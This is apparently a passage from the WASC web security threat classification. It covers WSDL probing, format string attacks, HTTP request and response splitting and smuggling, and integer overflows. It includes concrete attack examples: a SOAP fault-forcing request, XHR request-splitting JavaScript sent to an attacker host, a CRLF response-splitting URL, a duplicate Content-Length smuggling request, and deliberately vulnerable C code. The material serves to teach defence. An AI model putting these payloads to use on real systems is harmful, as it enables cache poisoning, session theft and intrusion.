WSDL(web services definition language) is the file in which web services' access information resides. To access web services, it is important to get a hold of this WSDL file. A URL can have wsdl extension as a file extension or can be part of a querystring. Examples underlining this fact are listed below.

EXAMPLES

```
http://example.com/servlet/customer.access.wsdl
http://example.com/customer.asmx?wsdl
http://example.com/customer.asmx/wsdl
```

DIRECTLY CONNECTING TO A WSDL

Under normal conditions, web applications sit in between clients and the web service and only utilize the necessary functionality to perform the needed task. If a client were to bypass the web application and get direct access to the WSDL interface, then they could possibly discover capabilities that were not intended for normal client usage.

FORCING FAULT CODES

By manipulating the input data types that are sent to the WSDL, an attacker can enumerate sensitive information. In this example we are injecting meta-characters into the "id" parameter:

```
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
```

```
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <soap:Body>
  <getProductInfo xmlns="http://tempuri.org/">
   <id>"</id>
  </getProductInfo>
 </soap:Body>
</soap:Envelope>
```

The response includes fault code information indicating that SQL Injection may be possible. These error messages will oftentimes provide details as to the version of backend database.

```
<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
 <soap:Body>
  <soap:Fault>
   <faultcode>soap:Server</faultcode>
   <faultstring>Server was unable to process request. → Cannot use empty object
or column
       names. Use a single space if necessary.</faultstring>
   <detail />
  </soap:Fault>
 </soap:Body>
```

REFERENCES

HMAP: A Technique and Tool for Remote Identification of HTTP Servers

[1] http://seclab.cs.ucdavis.edu/papers/hmap-thesis.pdf

An Introduction to HTTP fingerprinting

[2] http://net-square.com/httprint/httprint_paper.html

Identifying Web Servers: A first-look into Web Server Fingerprinting

[3] http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-grossman.pdf

Web Hacking: Attacks and Defense

[4] Stuart McClure, Saumil Shah, Shreeraj Shah, Addison-Wesley Publishing, 2002, ISBN 0-201-76176-9

Mask Your Web Server for Enhanced Security

[5] http://www.port80software.com/support/articles/maskyourwebserver

Advanced SQL Injection

[6] http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

Web Services – Attacks and Defense, Information Gathering Methods: Footprints, Discovery & Fingerprints

[7] http://www.net-square.com/whitepapers/WebServices_Info_Gathering.pdf

Behavioral Discrepancy Information Leak

[8] http://cwe.mitre.org/data/definitions/205.html

FORMAT STRING (WASC-06)

Format String Attacks alter the flow of an application by using string formatting library features to access other memory space. Vulnerabilities occur when user-supplied data are used directly as formatting string input for certain C/C++ functions (e.g. fprintf, printf, sprintf, setproctitle, syslog, ...).

If an attacker passes a format string consisting of printf conversion characters (e.g. "%f", "%p", "%n", etc.) as a parameter value to the web application, they may:

- Execute arbitrary code on the server
- Read values off the stack
- Cause segmentation faults / software crashes

Format String attacks are related to other attacks in the Threat Classification: Buffer Overflows and Integer Overflows. All three are based in their ability to manipulate memory or its interpretation in a way that contributes to an attacker's goal.

EXAMPLE

Let's assume that a web application has a parameter emailAddress, dictated by the user. The application prints the value of this variable by using the printf function:

```
printf(emailAddress);
```

If the value sent to the emailAddress parameter contains conversion characters, printf will parse the conversion characters and use the additionally supplied corresponding arguments. If no such arguments actually exist, data from the stack will be used in accordance with the order expected by the printf function.

The possible uses of the Format String Attacks in such a case can be:

READ DATA FROM THE STACK

If the output stream of the printf function is presented back to the attacker, he may read values on the stack by sending the conversion character "%x" (one or more times).

READ CHARACTER STRINGS FROM THE PROCESS' MEMORY

If the output stream of the printf function is presented back to the attacker, he can read character strings at arbitrary memory locations by using the "%s" conversion character (and other conversion characters in order to reach specific locations).

WRITE AN INTEGER TO LOCATIONS IN THE PROCESS' MEMORY

By using the "%n" conversion character, an attacker may write an integer value to any location in memory. (e.g. overwrite important program flags that control access privileges, or overwrite return addresses on the stack, etc.)

REFERENCES

"Analysis of format string bugs", By Andreas Thuemmel

[1] http://www.cs.cornell.edu/Courses/cs513/2005fa/paper.format-bug-analysis.pdf

"Format String Attacks", by Tim Newsham

[2] http://www.thenewsh.com/~newsham/format-string-attacks.pdf

"Exploiting Format String Vulnerabilities", By scut

[3] http://julianor.tripod.com/bc/formatstring-1.2.pdf

"Exploit for proftpd 1.2.0pre6"

[4] http://archives.neohapsis.com/archives/bugtraq/1999-q3/1009.html

"Format string input validation error in wu-ftpd site_exec() function"

[5] http://www.kb.cert.org/vuls/id/29823

Format string attack, Wikipedia

[6] http://en.wikipedia.org/wiki/Format_string_vulnerabilities

CWE-134: Uncontrolled Format String

[7] http://cwe.mitre.org/data/definitions/134.html

CAPEC-67: String Format Overflow in sys log()

[8] http://capec.mitre.org/data/definitions/67.html

WHID: Format String Attack

[9] http://whid.webappsec.org/whid-list/Format+String+Attack

HTTP REQUEST SPLITTING (WASC-24)

HTTP Request Splitting is an attack that enables forcing the browser to send arbitrary HTTP requests, inflicting XSS and poisoning the browser's cache. The essence of the attack is the ability of the attacker, once the victim (browser) is forced to load the attacker's malicious HTML page, to manipulate one of the browser's functions to send 2 HTTP requests instead of one HTTP request. Two such mechanisms have been exploited to date: the XmlHttpRequest object (XHR for short) and the HTTP digest authentication mechanism. For this attack to work, the browser must use a forward HTTP proxy (not all of them "support" this attack), or the attack must be carried out against a host located on the same IP (from the browser's perspective) with the attacker's machine.

BASIC ATTACK EXAMPLE USING XHR

Here's a JavaScript code (in the www.attacker.site domain) that can be used with IE 6.0 SP2 to send an arbitrary HTTP request to www.target.site (assuming the browser uses a forward proxy server). The arbitrary request is a GET request to /page,cgi?parameters, with HTTP/1.0 protocol, and with an additional "Foo:Bar" HTTP request header:

```
var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
/1.0\r\nHost:\twww.target.site\r\nFoo:Bar\r\n\r\nGET\thttp://nosuchhost/\tHTTP
/1.0\r\nBaz:","http://www.attacker.site/",false);

x.send();
alert(x.responseText);
```

From the browser's perspective, a single HTTP request is sent (with a long and very weird method specified by the sending HTML page...), whose target is www.attacker.site, i.e. not breaking the same origin policy, hence allowed.

Looking at the actual TCP stream, the forward proxy server receives:

```
GET\thttp://www.target.site/page.cgi?parameters\tHTTP/1.0
Host:\twww.target.site
Foo:Bar
GET\thttp://nosuchhost/\tHTTP/1.0
Baz: http://www.attacker.site HTTP/1.0
[...additional HTTP request headers added by the browser...]
```

Notice the use of HT (Horizontal Tab, ASCII 0x09) instead of SP (Space, ASCII 0x20) in the HTTP request line (the attacker has to resort to this because IE doesn't allow Space in the method field). This is clearly not allowed by the HTTP/1.1 RFC, yet many proxy servers do allow this syntax, and moreover, will convert HT to SP in the outgoing request (so the web server will have no idea that HTs were used).

Some proxy servers that allow HT as a separator in the request line are:

- Apache 2.0.54 (mod_proxy)
- Squid 2.5.STABLE10-NT
- Sun Java System Web Proxy Server 4.0

The net result is that the browser sent an arbitrary HTTP request (the first request that the proxy sees).

Alternatively, the XHR's username parameter may be used (with HTTP digest authentication), or the username:password@host URL format can be used (with HTTP digest authentication).

The above example demonstrated injecting an arbitrary HTTP request to the HTTP stream the browser sends out (e.g. to the proxy).

XSS AND WEB CACHE POISONING

In the above attack, notice that the proxy server sees two requests, while from the browser's perspective, only one request was sent. Notice also that the second request (from the proxy's perspective) is still mostly controlled by the attacker. The proxy therefore sends back two responses. The first response is consumed by the XHR object, and the second response is pending. The attacker needs to force the browser to send an additional (second) request, which will be matched to the second response from the proxy. Since the attacker controls the URL of the second proxy request, that URL can lead to the attacker's site with arbitrary content.

Here is the modified example:

```
var x = new ActiveXObject("Microsoft.XMLHTTP");

x.open("GET\thttp://www.attacker.site/page1\tHTTP
/1.0\r\nHost:\twww.attacker.site\r\nProxy-Connection:\tKeep-
Alive\r\n\r\nGET","http://www.attacker.site/page2",false);

x.send();

window.open("http://www.target.site/index.html");
```

The proxy will see:

```
GET\thttp://www.target.site/page1\tHTTP/1.0
Host:\twww.target.site
Proxy-Connection:\tKeep-Alive
GET http://www.attacker.site HTTP/1.0
[...additional HTTP request headers added by the browser...]
```

It will respond with 2 HTTP responses: the first (http://www.attacker.site/page1) will be consumed by the XHR object, and the second (http://www.attacker.site/page2) will wait in the browser's response queue until the browser requests http://www.target.site/index.html, and then the browser will match the response from http://www.attacker.site/page2 to the URL http://www.target.site/index.html (and will display the attacker's page in the window with that URL). Naturally this means both XSS and browser cache poisoning. As explained in the references, this attack needs tailoring according to the proxy server in use by the browser.

REFERENCES

"XMLHttpRequest header spoofing" (Mozilla Foundation Security Advisory 2005-58), due to Tim Altman and Yutaka Oiwa, September 22nd, 2005.

[1] http://www.mozilla.org/security/announce/2005/mfsa2005-58.html#xmlhttp

"Exploiting the XmlHttpRequest object in IE – Referrer spoofing, and a lot more...", Amit Klein, September 24th, 2005.

[2] http://www.webappsec.org/lists/websecurity/archive/2005-09/msg00019.html

"IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)", Amit Klein, May 22nd, 2006.

[3] http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00140.html

"IE 7 and Firefox Browsers Digest Authentication Request Splitting", Stefano Di-Paola, April 25th, 2007.

[4] http://www.wisec.it/vulns.php?id=11

HTTP RESPONSE SPLITTING (WASC-25)

In the HTTP Response Splitting attack, there are always 3 parties (at least) involved:

- Web server, which has a security hole enabling HTTP Response Splitting
- Target – an entity that interacts with the web server perhaps on behalf of the attacker. Typically this is a cache server forward/reverse proxy), or a browser (possibly with a browser cache).
- Attacker – initiates the attack

The essence of HTTP Response Splitting is the attacker's ability to send a single HTTP request that forces the web server to form an output stream, which is then interpreted by the target as two HTTP responses instead of one response, in the normal case. The first response may be partially controlled by the attacker, but this is less important. What is material is that the attacker completely controls the form of the second response from the HTTP status line to the last byte of the HTTP response body. Once this is possible, the attacker realizes the attack by sending two requests through the target. The first one invokes two responses from the web server, and the second request would typically be to some "innocent" resource on the web server. However, the second request would be matched, by the target, to the second HTTP response, which is fully controlled by the attacker. The attacker, therefore, tricks the target into believing that a particular resource on the web server (designated by the second request) is the server's HTTP response (server content), while it is in fact some data, which is forged by the attacker through the web server – this is the second response.

HTTP Response Splitting attacks take place where the server script embeds user data in HTTP response headers. This typically happens when the script embeds user data in the redirection URL of a redirection response (HTTP status code 3xx), or when the script embeds user data in a cookie value or name when the response sets a cookie.

In the first case, the redirection URL is part of the Location HTTP response header, and in the second cookie setting case, the cookie name/value is part of the Set-Cookie HTTP response header.

The essence of the attack is injecting CRs and LFs in such manner that a second HTTP message is formed where a single one was planned for by the application. CRLF injection is a method used for several other attacks which change the data of the single HTTP response send by the application (e.g. [2]), but in this case, the

role of the CRLFs is slightly different – it is meant to terminate the first (planned) HTTP response message, and form another (totally crafted by the attacked, and totally unplanned by the application) HTTP response message (hence the name of the attack). This injection is possible if the application (that runs on top of the web server) embeds un-validated user data in a redirection, cookie setting, or any other manner that eventually causes user data to become part of the HTTP response headers.

With HTTP Response Splitting, it is possible to mount various kinds of attacks:

- Cross-site Scripting (XSS)

Until now, it has been impossible to mount XSS attacks on sites through a redirection script when the clients use IE unless all the location headers can be controlled. This attack makes it possible.

- Web Cache Poisoning (defacement)

This is a new attack. The attacker simply forces the target (i.e. a cache server of some sort – the attack was verified on Squid 2.4, NetCache 5.2, Apache Proxy 2.0 and few other cache servers) to cache the second response in response to the second request. An example is to send a second request to "http://web.site/index.html", and force the target (cache server) to cache the second response that is fully controlled by the attacker. This is effectively a defacement of the web site, at least as experienced by other clients, who use the same cache server. Of course, in addition to defacement, an attacker can steal session cookies, or "fix" them to a predetermined value.

- Cross User attacks (single user, single page, temporary defacement)

As a variant of the attack, it is possible for the attacker not to send the second request. This seems odd at first, but the idea is that in some cases, the target may share the same TCP connection with the server, among several users (this is the case with some cache servers). The next user to send a request to the web server through the target will be served by the target with the second response the attacker generated. The net result is having a client of the web site being served with a resource that was crafted by the attacker. This enables the attacker to "deface" the site for a single page requested by a single user (a local, temporary defacement). Much like the previous item, in addition to defacement, the attacker can steal session cookies and/or set them.

- Hijacking pages with user-specific information

With this attack, it is possible for the attacker to receive the server response to a user request instead of the user. Therefore, the attacker gains access to user specific information that may be sensitive and confidential.

- Browser cache poisoning

This is a special case of "Web Cache Poisoning" (verified on IE 6.0). It is somewhat similar to XSS in the sense that in both the attacker needs to target individual clients. However, unlike XSS, it has a long lasting effect because the spoofed resource remains in the browser's cache.

EXAMPLE

Consider the following JSP page (let's assume it is located in /redir_lang.jsp):

```
<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>
```

When invoking /redir_lang.jsp with a parameter lang=English, it will redirect to /by_lang.jsp?lang=English. A typical response is as follows (the web server is BEA WebLogic 8.1 SP1 – see section "Lab Environment" in [1] for exact details for this server):

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
ApqwBE!-1251019693; path=/
Connection: Close

<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
This document you requested has moved temporarily.
It's now at <a
href="http://10.1.1.1/by_lang.jsp?lang=English">http://10.1.1.1/by_lang.jsp?lan
g=English</a>.
</body></html>
```

As can be seen, the lang parameter is embedded in the Location response header. Now, we move on to mounting an HTTP Response Splitting attack. Instead of sending the value English, we send a value, which makes use of URL-encoded CRLF

sequences to terminate the current response, and shape an additional one. Here is how this is done:

```
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>
```

This results in the following output stream, sent by the web server over the TCP connection:

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS!-1251019693; path=/
[...]
```

Explanation: this TCP stream will be parsed by the target as follows: A first HTTP response, which is a 302 (redirection) response. This response is colored blue. A second HTTP response, which is a 200 response, with a content comprising of 19 bytes of HTML. This response is colored red. Superfluous data – everything beyond the end of the second response is superfluous, and does not conform to the HTTP standard.

So when the attacker feeds the target with two requests, the first being to the URL

```
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>
```

And the second to the URL

```
/index.html
```

The target would believe that the first request is matched to the first response:

```
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
```

And that the second request (to /index.html) is matched to the second response:

```
HTTP/1.1 200 OK
```

```
Content-Type: text/html
Content-Length: 19
<html>Shazam</html>
```

And by this, the attacker manages to fool the target.

Now, this particular example is quite naive, as is explained in [1]. It doesn't take into account some problems with how targets parse the TCP stream, issues with the superfluous data, problems with the data injection, and how to force caching. This (and more) is discussed in [1], under the "practical consideration" sections.

SOLUTION

Validate input. Remove CRs and LFs (and all other hazardous characters) before embedding data into any HTTP response headers, particularly when setting cookies and redirecting. It is possible to use third party products to defend against CR/LF injection, and to test for existence of such security holes before application deployment. Further recommendations are:

- Make sure you use the most up to date application engine
- Make sure that your application is accessed through a unique IP address (i.e. that the same IP address is not used for another application, as it is with virtual hosting).

REFERENCES

"Divide and Conquer – HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein,

[1] http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

"CRLF Injection" by Ulf Harnhammar (BugTraq posting),

[2] http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-05/0077.html

Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

[5] http://cwe.mitre.org/data/definitions/113.html

HTTP REQUEST SMUGGLING (WASC-26)

HTTP Request Smuggling is an attack technique that abuses the discrepancy in parsing of non RFC compliant HTTP requests between two HTTP devices (typically a front-end proxy or HTTP-enabled firewall and a back-end web server) to smuggle a request to the second device "through" the first device. This technique enables the attacker to send one set of requests to the second device while the first device sees a different set of requests. In turn, this facilitates several possible exploitations, such as partial cache poisoning, bypassing firewall protection and XSS.

While it's impossible to provide a comprehensive overview of HTTP Request Smuggling in this scope (there are many technical details and variants involved), we will outline the textbook example to convey the concept. The reader is referred to [1] for full details.

The textbook example ([1]) involves sending a set of HTTP requests to a system comprising of a web server (for www.target.site) and a caching proxy server. The goal of the attack is to force the proxy to cache the contents of the page http://www.target.site/~attacker/foo.html for the URL http://www.target.site/~victim/bar.html. The attack involves sending an HTTP POST request with multiple Content-Length headers, which the RFC [2] forbids. While disallowed, the vast majority of web servers and proxy servers support this, each in its own fashion. The attack exploits the difference in this "support". For instance, assume that the proxy uses the last header, while the web server uses the first header.

The attacker sends:

```
POST http://www.target.site/somecgi.cgi HTTP/1.1
Host: www.target.site
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
GET /~attacker/foo.html HTTP/1.1
Something: GET http://www.target.site/~victim/bar.html HTTP/1.1
Host: www.target.site
Connection: Keep-Alive
```

From the proxy's perspective, it sees the header section of the first (POST) request, it then uses the last Content-Length header (which specifies a body length of 45 bytes) to know what body length to expect. It then reads the body and sends the web server the first request as following:

```
POST http://www.target.site/somecgi.cgi HTTP/1.1
Host: www.target.site
```

```
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
GET /~attacker/foo.html HTTP/1.1
Something:
```

The web server sees the first request (POST), inspects its headers, uses the first Content-Length header, and interprets the first request as

```
POST http://www.target.site/somecgi.cgi HTTP/1.1
Host: www.target.site
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
```

Note the empty body. The web server answers this request, and it has one more partial request in the queue:

```
GET /~attacker/foo.html HTTP/1.1
Something:
```

Since this request is incomplete (a double CR+LF has not been received, so the HTTP request header section is not yet complete), the web server remains in a wait state. The proxy now receives the web server's first response, forwards it to the attacker and proceeds to read from its TCP socket:

```
GET http://www.target.site/~victim/bar.html HTTP/1.1
Host: www.target.site
Connection: Keep-Alive
```

From the proxy's perspective, this is the second request, and whatever the web server will respond with, will be cached by the proxy for http://www.target.site/~victim/bar.html. The proxy forwards this request to the web server. It is appended to the end of the web server's queue, which now looks as following:

```
GET /~attacker/foo.html HTTP/1.1
Something: GET http://www.target.site/~victim/bar.html HTTP/1.1
Host: www.target.site
Connection: Keep-Alive
```

The web server finally has a full second request to process. The web server interprets the request stream as containing an HTTP request for http://www.target.site/~attacker/foo.html (in the HTTP request above, the "Something" HTTP header has no meaning according to the HTTP RFC, and thus is ignored by the web server), and thus the content of the page http://www.target.site/~attacker/foo.html is returned. The net result – the web server returns a second response comprising of the content of the page

http://www.target.site/~attacker/foo.html, and the proxy caches this content under the URL http://www.target.site/~victim/bar.html.

Hence, partial web cache poisoning was achieved. "Partial" because as the reader may note, the attacker is not in full control over the cached content. The attacker has no direct control over the returned HTTP headers, and more importantly, the attacker has to use an existing (and cacheable) page in the target web site for his/her content (in the above case, it is http://www.target.site/~attacker/foo.html).

The above example only demonstrated web cache poisoning. However, as shown in [1], HTTP Request Smuggling can be used to conduct cross site scripting attacks, bypass HTTP-enabled firewall and steal sessions and sensitive data (pages).

REFERENCES

"HTTP Request Smuggling", Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin (June 2005)

[1] http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

"Hypertext Transfer Protocol – HTTP/1.1", RFC 2616, June 1999

[2] http://www.ietf.org/rfc/rfc2616.txt

Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

[3] http://cwe.mitre.org/data/definitions/444.html

HTTP RESPONSE SMUGGLING (WASC-27)

HTTP response smuggling is a technique to "smuggle" 2 HTTP responses from a server to a client, through an intermediary HTTP device that expects (or allows) a single response from the server.

One use for this technique is to enhance the basic HTTP response splitting technique in order to evade anti- HTTP response splitting measures. In this case, the intermediary is the anti-HTTP response splitting mechanism between the web server and the proxy server (or web browser). This use case is described in [1]. Another use case is to spoof responses received by the browser. In this case a malicious web site serves the browser a page that the browser will interpret as originating from a different (target) domain. HTTP response smuggling can be used to achieve this when the browser uses a proxy server to access both sites. This use case is described (briefly) in [2].

HTTP response smuggling makes use of HTTP request smuggling –like techniques to exploit the discrepancies between what an anti- HTTP Response Splitting

mechanism (or a proxy server) would consider to be the HTTP response stream, and the response stream as parsed by a proxy server (or a browser). So, while an anti- HTTP response splitting mechanism may consider a particular response stream harmless (single HTTP response), a proxy/browser may still parse it as two HTTP responses, and hence be susceptible to all the outcomes of the original HTTP response splitting technique (in the first use case) or be susceptible to page spoofing (in the second case). For example, some anti- HTTP response splitting mechanisms in use by some application engines forbid the application from inserting a header containing CR+LF to the response. Yet an attacker can force the application to insert a header containing CRs, thereby circumventing the defense mechanism. Some proxy servers may still treat CR (only) as a header (and response) separator, and as such the combination of web server and proxy server will still be vulnerable to an attack that may poison the proxy's cache.

Other variants described in the literature include:

```
- Using LF as a header separator
- Using multiple Content-Length headers
- Using a combination of Content-Length and Transfer-Encoding
- Using SP after the header name
```

It is important to keep in mind that any discrepancy in the way different HTTP parsers interpret HTTP headers and particularly how they calculate the response's size can potentially be used for HTTP response smuggling. Therefore, the above list should be considered partial.

REFERENCES

"HTTP Response Smuggling" (WebAppSec mailing list posting), Amit Klein, February 20th, 2006

[1] http://www.webappsec.org/lists/websecurity/archive/2006-02/msg00040.html

"Mozilla Foundation Security Advisory 2006-33", reported by Kazuho Oku (Cybozu Labs), June 1st, 2006

[2] http://www.mozilla.org/security/announce/2006/mfsa2006-33.html

INTEGER OVERFLOWS (WASC-03)

An Integer Overflow is the condition that occurs when the result of an arithmetic operation, such as multiplication or addition, exceeds the maximum size of the integer type used to store it. When an integer overflow occurs, the interpreted value will appear to have "wrapped around" the maximum value and started again at the minimum value, similar to a clock that represents 13:00 by pointing at 1:00.

For example, an 8-bit signed integer on most common computer architectures has a maximum value of 127 and a minimum value of -128. If a programmer stores the value 127 in such a variable and adds 1 to it, the result should be 128. However, this value exceeds the maximum for this integer type, so the interpreted value will "wrap around" and become -128.

RELATED CONDITIONS

Integer Overflows are closely related to other conditions that occur when manipulating integers:

Integer Underflows occur when the result of an arithmetic operation is smaller than the minimum value of the destination integer type. When an integer underflow occurs, the interpreted value will wrap around from the minimum value to the maximum value for its integer type.

Integer Casts occur when an integer of one type is interpreted as another. When this occurs, the bitstream of the source integer is interpreted as if it were the destination integer type. The interpreted value can be significantly different than the original value. Integer casts can be subdivided into context-specific scenarios:

- *Signed/Unsigned Mismatch* In the Two's Compliment System, the bitstreams that represent a negative signed integer correspond to a very large unsigned integer. For example, the same 32-bit stream is used to represent both -1 and 4,294,967,295 – casting between signed and unsigned integers can result in a drastic change in interpreted value.

- *Integer Truncations* occur when an integer is assigned or cast to an integer type with a shorter bit length. When this occurs, the least-significant bits of the larger integer are used to fill as many bits of the shorter integer type as possible. Any bits that cannot be copied are lost, changing the value of the result.

- *Sign Extension* occurs when a signed integer of a smaller bit length is cast to an integer type of a larger bit length. When the result is interpreted as a signed integer, the interpreted value is correct. However, when interpreted as an unsigned value, a very large positive number results.

SECURITY IMPACT OF INTEGER OPERATIONS

Attackers can use these conditions to influence the value of variables in ways that the programmer did not intend. The security impact depends on the actions taken based on those variables. Examples include, but are certainly not limited, to the following:

- An integer overflow during a buffer length calculation can result in allocating a buffer that is too small to hold the data to be copied into it. A buffer overflow can result when the data is copied.
- When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed.
- Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295.
- A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money – from a victim's account into the attacker's.

INTEGER OVERFLOW EXAMPLE

In C and C++ programming, Integer Overflows often occur when calculating the size of a buffer to be allocated. When this occurs, the calculated size of the buffer will be smaller than the amount of data to be copied to it. This can lead to a buffer overflow, as the following code demonstrates:

```
// This function reads the student grade from stdin and returns it as an int
// The full implementation has been omitted for clarity
int get_student_grade();
int main(int argc, char *argv[])
{
if (argc != 2)
{
printf("No grades to input.\n");
return (-1);
}
int *student_grades;
unsigned int num_items = atoi(argv[1]);
student_grades = (int *) malloc(num_items * sizeof(int));
if (NULL == student_grades)
{
printf("Could not allocate memory.\n");
return -1;
}
for (unsigned int ctr = 0; ctr < num_items; ctr++)
{
printf("\nPlease input student %u's grade: ", ctr);
student_grades[ctr] = get_student_grade();
}
for (unsigned int ctr = 0; ctr < num_items; ctr++)
{
printf("Student %u grade: %d.\n", ctr, student_grades[ctr]);
}
free(student_grades);
return 0;
}
```

Example 1 – A C program with an integer overflow

This program allows a person to enter grades for an arbitrary number of students in a class and have them printed out. The number of students in the class is passed as a command line argument, and each student's grade is retrieved by the `get_student_grade` function.

If one assumes a 32-bit computer architecture, an integer overflow occurs when the number of students in the class is greater than $2^{30} - 1$, or 1,073,741,823. If a value of $2^{30} + 1$ is used, the calculated size of the `student_grades` array passed to malloc is 2^{30} multiplied by four (in this example, `sizeof(int)` equals 4 bytes). The result, $2^{32} + 4$, exceeds the maximum 32-bit unsigned integer size, $2^{32} - 1$, and wraps around to simply four, or enough to hold a single integer. The for loop, on the other hand, will still treat this four byte buffer as if it was an array of 2^{30} integers and write input data beyond its allocated bounds.

INTEGER CASTING EXAMPLE

Integer operations can lead to buffer overflows when mixed integer types are used for variable assignment and comparison. This often results in integers that are truncated, sign-extended, or have mixed signs during value comparisons.

```
Void bad_function(char *input)
{
char dest_buffer[32];
char input_len = strlen(input);
if (input_len < 32)
{
strcpy(dest_buffer, input);
printf("The first command line argument is %s.\n", dest_buffer);
}
else
{
printf("Error – input is too long for buffer.\n");
}
int main(int argc, char *argv[])
{
if (argc > 1)
{
bad_function(argv[1]);
}
else
{
printf("No command line argument was given.\n");
}
return 0;
}
```

Example 2 – Function with a buffer overflow due to mismatched integer types

In C, `char` is an 8-bit signed integer, so the variable `input_len` can store values between -128 and 127. If `input` is less than 32 characters in length the program will print the command line argument. If the length is between 32 and 127, the program's length validation will work properly and the error message will be printed. However, if an input length of 128 is given, `input_len` will overflow and become -128. The check will verify that -128 is indeed smaller than 32 and proceed with the strcpy. This will overflow `dest_buffer`.

There are two contributing causes for this flaw. Though the 8-bit char type is sufficient to reference elements in the `dest_buffer` array, it is not large enough to represent all return values from `strlen`. As a result, a value over 127 is sufficient to overflow this integer and render that check ineffective. In addition, the fact that `char` is a signed integer type renders the check against the static value 32 ineffective; the overflowed value -128 is indeed less than 32. The lack of arithmetic in this example does not make it any less prone to security defects.

PREVENTING DEFECTS IN INTEGER OPERATIONS

Preventing defects in integer operations requires that the software developer anticipate and/or respond to these conditions. The best practices for doing so can be summarized in two main actions:

First, choose an integer type used for a variable that is consistent with the functions to be performed. In some cases, one can avoid an integer overflow by choosing an integer type that can hold all possible values of a calculation. In all cases, the proper integer type reduces the need for integer type casting, a major source of defects.

Second, the operands of an integer operation and/or the result of it should be checked for overflow conditions.

Checking the result attempts to determine whether an exceptional condition has occurred after the fact. For example, if `A` and `B` are both unsigned integers, then `A + B < A` should never be true in normal operation. If it is, one could assume that an integer overflow has occurred. Unfortunately, compilers have been known to optimize away such checks. See "Catching Integer Overflows in C" ([6]) for more details.

It is considered safer to check the operands of the operation before the calculation. The previous example could be changed to check if `B > SIZE_MAX – A` . When true, then an integer overflow will occur if the two are added together and stored in a variable of type `size_t` . Similarly, one should check if `B > SIZE_MAX / A` to determine if `A` multiplied by `B` would overflow.

Unfortunately, these checks can become very complicated when integers of different sign, size, and order of operations are considered. For this reason, it is highly recommended that safe integer libraries, such as "SafeInt" referred to in ([5]), be used.

Support for protecting against defects in integer operations can be provided by the CPU, the programming language, or libraries used by the programmer. Assembly programmers have immediate access to the CPU, and can check for integer overflows by examining the overflow flag available on most CPUs. Some languages, such as C#, treat most such conditions as an exception, while others like Python use arbitrary-precision integers that will not overflow or underflow.

REFERENCES

GENERAL REFERENCE

"Intel 64 and IA-32 Architectures Software Developer's Manual"

[1] http://download.intel.com/design/processor/manuals/253665.pdf

"Computer Organization and Design", By Patterson, D., Hennessy, J.

[2] Morgan Kaufmann Publishers, Inc.

"The Art of Software Security Assessment", By Dowd, M., McDonald, J., & Schuh, J.

[3] Addison Wesley Professional Press

INTEGER OVERFLOW/UNDERFLOW

"Basic Integer Overflows", By blexim

[4] http://www.phrack.org/issues.html?issue=60&id=10#article

PROTECTING AGAINST

"SafeInt" by LeBlanc, D.

[5] http://www.codeplex.com/SafeInt

"Catching Integer Overflows in C", by Felix von Leitner

[6] http://www.fefe.de/intof.html

RELATED ATTACKS

"Format String Attack"

[7] http://projects.webappsec.org/Format-String

"Buffer Overflow"

[8] http://projects.webappsec.org/Buffer-Overflow

LDAP INJECTION (WASC-29)

